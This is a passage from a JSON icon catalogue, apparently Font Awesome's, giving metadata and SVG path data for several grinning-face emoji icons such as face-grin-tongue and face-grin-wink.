4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zM439 336.5C414.4 374.6 370.3 400 319.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1zM281.6 228.8l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0zm160 0l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M516.1 325.5c1 3 2.1 6 3.3 8.9c3.3 8.1 8.4 18.5 16.5 26.6c3.9 3.9 8.2 7.4 12.7 10.3C506.4 454.8 419.9 512 320 512s-186.4-57.2-228.6-140.6c4.5-2.9 8.7-6.3 12.7-10.3c8.1-8.1 13.2-18.6 16.5-26.6c1.2-2.9 2.3-5.9 3.3-8.9C152.5 406.2 229.5 464 320 464s167.5-57.8 196.1-138.5zM320 48c-101.4 0-185.8 72.5-204.3 168.5c-6.7-3.1-14.3-4.3-22.3-3.1c-6.8 .9-16.2 2.4-26.6 4.4C85.3 94.5 191.6 0 320 0S554.7 94.5 573.2 217.7c-10.3-2-19.8-3.5-26.6-4.4c-8-1.2-15.7 .1-22.3 3.1C505.8 120.5 421.4 48 320 48zM78.5 341.1C60 356.7 32 355.5 14.3 337.7c-18.7-18.7-19.1-48.8-.7-67.2c8.6-8.6 30.1-15.1 50.5-19.6c13-2.8 25.5-4.8 33.9-6c5.4-.8 9.9 3.7 9 9c-3.1 21.5-11.4 70.2-25.5 84.4c-.9 1-1.9 1.8-2.9 2.7zm483 0c-.8-.6-1.5-1.3-2.3-2c-.2-.2-.5-.4-.7-.7c-14.1-14.1-22.5-62.9-25.5-84.4c-.8-5.4 3.7-9.9 9-9c1 .1 2.2 .3 3.3 .5c8.2 1.2 19.2 3 30.6 5.5c20.4 4.4 41.9 10.9 50.5 19.6c18.4 18.4 18 48.5-.7 67.2c-17.7 17.7-45.7 19-64.2 3.4zM439 336.5C414.4 374.6 370.3 400 319.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1zM281.6 228.8l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0zm160 0l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue": {
    "aliases": {
      "names": ["grin-tongue"],
      "unicodes": {
        "composite": ["1f61b"],
        "secondary": ["10f589"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["LOL", "emoticon", "face", "face with tongue", "tongue"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f589",
    "label": "Face Grin Tongue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V363.6c-8.9-8-16.7-17.1-23.1-27.1c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1c-6.4 9.9-14.2 19-23 27V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V363.6c-8.9-8-16.7-17.1-23.1-27.1c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5c18.7-4.4 35.9 12 25.5 28.1c-6.4 9.9-14.2 19-23 27V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue-squint": {
    "aliases": {
      "names": ["grin-tongue-squint"],
      "unicodes": {
        "composite": ["1f61d"],
        "secondary": ["10f58a"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "eye",
        "face",
        "horrible",
        "squinting face with tongue",
        "taste",
        "tongue"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58a",
    "label": "Face Grin Tongue Squint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zM116 141.1c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 368.9 73.1 464.7 174.5 498.8C165.3 484 160 466.6 160 448V400.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V448c0 18.6-5.3 36-14.5 50.8C438.9 464.7 512 368.9 512 256C512 114.6 397.4 0 256 0S0 114.6 0 256zM116 141.1c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 448V402.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V448c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V392.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm116-98.9c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256c0-114.9-93.1-208-208-208S48 141.1 48 256c0 81.7 47.1 152.4 115.7 186.4c-2.4-8.4-3.7-17.3-3.7-26.4V392.7c-24-17.5-43.1-41.4-54.8-69.2c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19c12.3-3.8 24.3 6.9 19.3 18.7c-11.8 28-31.1 52-55.4 69.6V416c0 9.2-1.3 18-3.7 26.4C416.9 408.4 464 337.7 464 256zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm116-98.9c0-9 9.6-14.7 17.5-10.5l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6zm262.5-10.5c7.9-4.2 17.5 1.5 17.5 10.5c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9zM320 416V378.6c0-14.7-11.9-26.6-26.6-26.6h-2c-11.3 0-21.1 7.9-23.6 18.9c-2.8 12.6-20.8 12.6-23.6 0c-2.5-11.1-12.3-18.9-23.6-18.9h-2c-14.7 0-26.6 11.9-26.6 26.6V416c0 35.3 28.7 64 64 64s64-28.7 64-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-tongue-wink": {
    "aliases": {
      "names": ["grin-tongue-wink"],
      "unicodes": {
        "composite": ["1f61c"],
        "secondary": ["10f58b"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "LOL",
        "emoticon",
        "eye",
        "face",
        "joke",
        "tongue",
        "wink",
        "winking face with tongue"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58b",
    "label": "Face Grin Tongue Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M174.5 498.8C73.1 464.7 0 368.9 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 112.9-73.1 208.7-174.5 242.8C346.7 484 352 466.6 352 448V401.1c24.3-17.5 43.6-41.6 55.4-69.6c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c11.7 27.8 30.8 51.7 54.8 69.2V448c0 18.6 5.3 36 14.5 50.8zm20.7-265.2c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zM336 272a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM320 402.6V448c0 35.3-28.7 64-64 64s-64-28.7-64-64V402.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6zM336 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M174.5 498.8C73.1 464.7 0 368.9 0 256C0 114.6 114.6 0 256 0S512 114.6 512 256c0 112.9-73.1 208.7-174.5 242.8C346.7 484 352 466.6 352 448V401.1c24.3-17.5 43.6-41.6 55.4-69.6c5-11.8-7-22.5-19.3-18.7c-39.7 12.2-84.5 19-131.8 19s-92.1-6.8-131.8-19c-12.3-3.8-24.3 6.9-19.3 18.7c11.7 27.8 30.8 51.7 54.8 69.2V448c0 18.6 5.3 36 14.5 50.8zm20.7-265.2c5.3 7.1 15.3 8.5 22.4 3.2s8.5-15.3 3.2-22.4c-30.4-40.5-91.2-40.5-121.6 0c-5.3 7.1-3.9 17.1 3.2 22.4s17.1 3.9 22.4-3.2c17.6-23.5 52.8-23.5 70.4 0zM336 272a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM320 402.6V448c0 35.3-28.7 64-64 64s-64-28.7-64-64V402.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6zM336 184a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M348.3 442.4c2.4-8.4 3.7-17.3 3.7-26.4V363.5c8.8-8 16.6-17.1 23-27c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c6.5 10 14.3 19.1 23.1 27.1V416c0 9.2 1.3 18 3.7 26.4C95.1 408.4 48 337.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 81.7-47.1 152.4-115.7 186.4zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm176.7 12a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-.4-72a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM320 416c0 35.3-28.7 64-64 64s-64-28.7-64-64V378.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M348.3 442.4c2.4-8.4 3.7-17.3 3.7-26.4V363.5c8.8-8 16.6-17.1 23-27c10.4-16.1-6.8-32.5-25.5-28.1c-28.9 6.8-60.5 10.5-93.6 10.5s-64.7-3.7-93.6-10.5c-18.7-4.4-35.9 12-25.5 28.1c6.5 10 14.3 19.1 23.1 27.1V416c0 9.2 1.3 18 3.7 26.4C95.1 408.4 48 337.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208c0 81.7-47.1 152.4-115.7 186.4zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM159.6 220c10.6 0 19.9 3.8 25.4 9.7c7.6 8.1 20.2 8.5 28.3 .9s8.5-20.2 .9-28.3C199.7 186.8 179 180 159.6 180s-40.1 6.8-54.6 22.3c-7.6 8.1-7.1 20.7 .9 28.3s20.7 7.1 28.3-.9c5.5-5.8 14.8-9.7 25.4-9.7zm176.7 12a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-.4-72a48 48 0 1 1 0 96 48 48 0 1 1 0-96zm0 128a80 80 0 1 0 0-160 80 80 0 1 0 0 160zM320 416c0 35.3-28.7 64-64 64s-64-28.7-64-64V378.6c0-14.7 11.9-26.6 26.6-26.6h2c11.3 0 21.1 7.9 23.6 18.9c2.8 12.6 20.8 12.6 23.6 0c2.5-11.1 12.3-18.9 23.6-18.9h2c14.7 0 26.6 11.9 26.6 26.6V416z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-wide": {
    "aliases": {
      "names": ["grin-alt"],
      "unicodes": {
        "composite": ["1f603"],
        "secondary": ["10f581"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "grinning face with big eyes",
        "laugh",
        "mouth",
        "open",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f581",
    "label": "Face Grin Wide",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM208 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm128 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zM208 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm128 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM224 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm96 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm349.5 52.4c18.7-4.4 35.9 12 25.5 28.1C350.4 374.6 306.3 400 255.9 400s-94.5-25.4-119.1-63.5c-10.4-16.1 6.8-32.5 25.5-28.1c28.9 6.8 60.5 10.5 93.6 10.5s64.7-3.7 93.6-10.5zM224 192c0 35.3-14.3 64-32 64s-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64zm96 64c-17.7 0-32-28.7-32-64s14.3-64 32-64s32 28.7 32 64s-14.3 64-32 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-grin-wink": {
    "aliases": {
      "names": ["grin-wink"],
      "unicodes": {
        "secondary": ["10f58c"]
      }
    },
    "changes": [
      "5.1.0",
      "5.1.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["emoticon", "face", "flirt", "laugh", "smile"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f58c",
    "label": "Face Grin Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-16.9-79.2c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM388.1 312.8c12.3-3.8 24.3 6.9 19.3 18.7C382.4 390.6 324.2 432 256.3 432s-126.2-41.4-151.1-100.5c-5-11.8 7-22.5 19.3-18.7c39.7 12.2 84.5 19 131.8 19s92.1-6.8 131.8-19zm-16.9-79.2c-17.6-23.5-52.8-23.5-70.4 0c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767583,
